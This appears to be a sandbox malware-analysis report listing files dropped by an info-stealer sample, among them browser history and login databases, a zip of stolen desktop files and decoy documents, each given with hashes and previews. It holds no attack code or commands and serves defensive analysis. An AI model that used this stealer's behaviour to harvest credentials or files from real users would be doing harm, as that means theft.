C:\Users\user\AppData\Local\Temp\HistoryData.db

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Logins.db

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\StealedFilesByExela.zip

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	74366
Entropy (8bit):	7.821964557320184
Encrypted:	false
SSDEEP:	1536:HGvbYUdb+goBtc7GHLAspfmMkdtkUG+qvDGKpETAt1MFN8GVcEtTNAwze98:mTYUdb+goBvrAspfmMkd29vDGKpETAwp
MD5:	D87E9C9B75E50B145FA27D4C5828F2B0
SHA1:	E5F8114511634D03AE7D73143255F516841EDA91
SHA-256:	E64B3C32C4FBC353C2F88CC935A96095A2320A72E756C0BD09B32DA5F00F8037
SHA-512:	0C0D1093F871476C19179339F262D32735CEECEC719AA5526E019525265F2E89D63D71EB2D406CDC9A97EDDA5E60B2AFF211940E286B3FBE87F56FC80F4C1717
Malicious:	false
Preview:	PK...........X................Desktop/PK...........X................Documents/PK...........X................Downloads/PK...........X................ONBQCLYSPU/PK...........X................UMMBDNEQBN/PK...........X................VLZDGUKUTZ/PK...........X................XZXHAVGRAG/PK........QpDW................Desktop/BPMLNOBVSB.jpg..I.E!.......8...N.?H.-.".Jt-.X....#......a....u...8z.)..R...'....?tD..d.5.%}..O;......yl..4...g..[.=V..Y.gJM....c..cb.EF......C;&.^R...p..<.rQ..R......Vz....\|....C.x.b.O..$\&..23Xj%...\]....BJ....).fh..\|.rD.<.8.d.....S4.eIg`.-.....~.Y.a&.........=..=6....S.hw...B.E.$v........iK..=../L..8...`....LK.X...'..X..7.....vy.q.6N[.\|f..v.O<.=:b...9e.o+..:y....3tL..{u.g.y..t..p"..a.Y.X...L...4=..FI.."..2....,.-.2Vm....^..1$..:.*..v......i...qk..#...<uWtD._....@.....p...6....\w?dw.10..l.>.Z........).c.h.D..8.r......F....u...;=...Lcj...q....u...+.}'...-..._....Y..m.......~_/...v&.5.;cB.r.u"1A.+..%..}..Ml...PK........QpDW.q.E....

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.702896917219035
Encrypted:	false
SSDEEP:	24:/PRNNS0CSvZqsz3phzXGrOVx0E5lpmo3ntC4hUh31nnrgy:/wQvwsz3phzWrOVxXnncRh31nrgy
MD5:	C68274AA8B7F713157BEBE2FCC2EA5D3
SHA1:	52A5A2D615A813B518DDAAC2A02095F1059DAAD5
SHA-256:	362C32AB7AEE8A211871A6045DADFEBF087D5EC2A3470FBEF42BC1C0E8CF0542
SHA-512:	BB653D9E0948C2BD3586BC7CABC777BCDA84F749B73B26E4FD667C22F9629D8A7EC4F94ADBCAAF679FC116CDDA1F0D55CB348CD50BD3B6A4484F48A203E32883
Malicious:	false
Preview:	BPMLNOBVSBRFPSKLKRJEVHBRVUUOUWMMDGAHEFTOXDSJSRQBDQADKRAAIMJBBXHJZSYGDGSBIJCBPDLCIPLGVURSSGYXQXCVEDYOHFVNTWOSWAODXQUYSQDZDKFJYMCQZOAAPCNEEITKKQAOZJLGLFTYOILWUOSTJMBMUSHEQYRRGRAOIGHQXDIXRMKPCYCIDORIRGMLSPAFIUBBOMPKCNUTVROXQQMRPPEYTVHGRIWJQZREOHPNIXFSPUEZGKVJWTNJVDHDCOMTLCENQMHDIOFNLZNLPFMCGQAWNZVHKKTCZJIHININWOCQTMBLXKYEUXUUKCZAKOINULOSSFHJSGRNIDZZLUKXSJKRQIPXODCNMCWZEQEGJHTKEBKCHWRCJJEITXLWRGJUOYWSWNFVRXXLTBNUBFYSNPVKHAJAOKQIGZUIREJCJKNRVWECUBFUQVUSSEVFZFGAGLZHTJIRXFGLLTHCDJRQSVBUTENMMECBKNQAOTCGUKCAUANZSSYPURGXINFDSJOSJXFPPQOKWUJNGLOACGPRELXIXQZZNXUEJPFZQRDXMWSGEPNTSQRNGFYRRORGOCRJKMCRFZPVDFDRDZCHPWYNXBAOHXICQPOHWXUVYMEAZUMLLNZQAOCCUKTGCMNZUMKUHEIUUYFGMSIEUWOKDVUTQHRMSVPQFKZILWLKZLKCAJHKFHZJFEJAIIZQWILLXMKWLUETDBWSKQOQQECLVCWJSIQXHNDZAYVIFNNYOZKGGFZMIYUCHYFNVXUHKZCOQBJAYWMEKPQVFWNVIJXYFYHWXFXSXDCSRYIODDWXNUTAYNOXAVMATSYETUSRJPYJEQCIEGHSXOOCALKHPRGXFNWHDUNNXCXELBKBUMKTJRNZBLLQWINSTBBGQYWIVUZENAMGRAYFSSGBXLPJXWYTCERBJXCYMHQMJPSVPWCDSLLUJZTWDDJDHIADYETBWZFZQTYTPWPBFDIVVSAOFDDHMUMYLEFUUIKC

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\FENIVHOIKN.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695860210921229
Encrypted:	false
SSDEEP:	24:TFQT9Q9JyaMK5Tkl4rqfRs73U2PVD3BWUS:mT9iSRiqfRsxPGt
MD5:	71B2CE35DD64EA4E8D5C67BD6BFF698E
SHA1:	48D65EB151E97D1D41267A43B4DC1801C4F89255
SHA-256:	A6DBE7820A7D3FD17EB24EE41CCE56C9647B150E1A1392F58ABD947EE1829FC7
SHA-512:	73128DA16516B0E5D04EB6D859A8FDC4663B47F74A7AAC99263582746BC414BAB05FB4DFF40F5E0EF838682D63671FE11DD6C5891D059D51FFB872E1FD9B60BA
Malicious:	false
Preview:	FENIVHOIKNBCYIYDETVMHAXXCUSKVBIKIZDOEBTCBYNFPROLSQLGSXMEBIFYTUGWARWVYMTQJJQHOGKAFRWEYLIITISQGUPNXIDRSAYRHVYBLCBPWDGDGMRFUPDGTHSUZALGWUNUNBPRSUWLDEERQZPJULFBMZZHTJYWKVZQVLEDDNLGBWDACOPLRJZKBPCUZDJREYTIGQRDICOOOTVHDKQUIYHXBSIPRQMYKFMFQBOFQNAEVGNCFJMUUNPEAZHDDUMGETMIDSYNOIDGLIWBLWJMUJDZSXZDTSQDRTDTAVJOIMKOGLNUSQUAAVWIKDQYSLHFCCBWRVFCOFFOFLNYESKIXGLREFBUHJNLTUZWTINZBYSZGLBVOBBMXEMHDAPUEBYUOSIBCQKNMEMTLMDFOFSCTXSWXGSMZYXOITZUXDRNGKAWBECBBUVWDKNSCDDEQNOOYGYYOAXMJOTRVNPFWPCZVSEJKHIGKFUWNCSZBXBGNPXFFHNXKDQDNFIONUVXOCROEEFIGZFWGAHIHFQJGZYTVKVZDPYDSXSERFLDJPCVGKHMQFOTHPVOKTYLWAPGHXOGTKAUNDASAZUZHWRURHYWEQLZGBTJRWZBMRYRMEKQZWHBZYXZEMYOBLGWOOWHYBSYOACREZYWYZKZDZWKRVNMAIUFSJMRFNLCHGSJRDBFEVZHVONCJAKDIVXPNZSDFWRJZBNYCVNHSEHCTSXOCQTOLQXZKOFIQXWXQZEAWRCJWAJSYKYOZORHAIEUYWKKUMHQYPYIOSCFFODFUWOINUDONNHLPCLQAFMHQEHKVMPTJGZMRGJZGKKWXKQOCGHCKXSSHZWEGSFCSZBPAQPMKBQLDGHBWUHQXSHUZQGJVNGEWRQKNQTDOVIMFGAUQLLNAVTSEJCTOSENTCVYPTJTCCNNBRJDHLKKWLYCZNBHTKJZYJQTOROFOXGEKHGJMAWOECWOBHFFIQIEISKZOCKOWMGRFEKTINHWHFFOTZPG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HTAGVDFUIE.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\HTAGVDFUIE.xlsx

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KATAXZVCPS.png

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.jpg

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\StealedFilesByExela\Desktop\KZWFNRXYKI.pdf

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	true
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

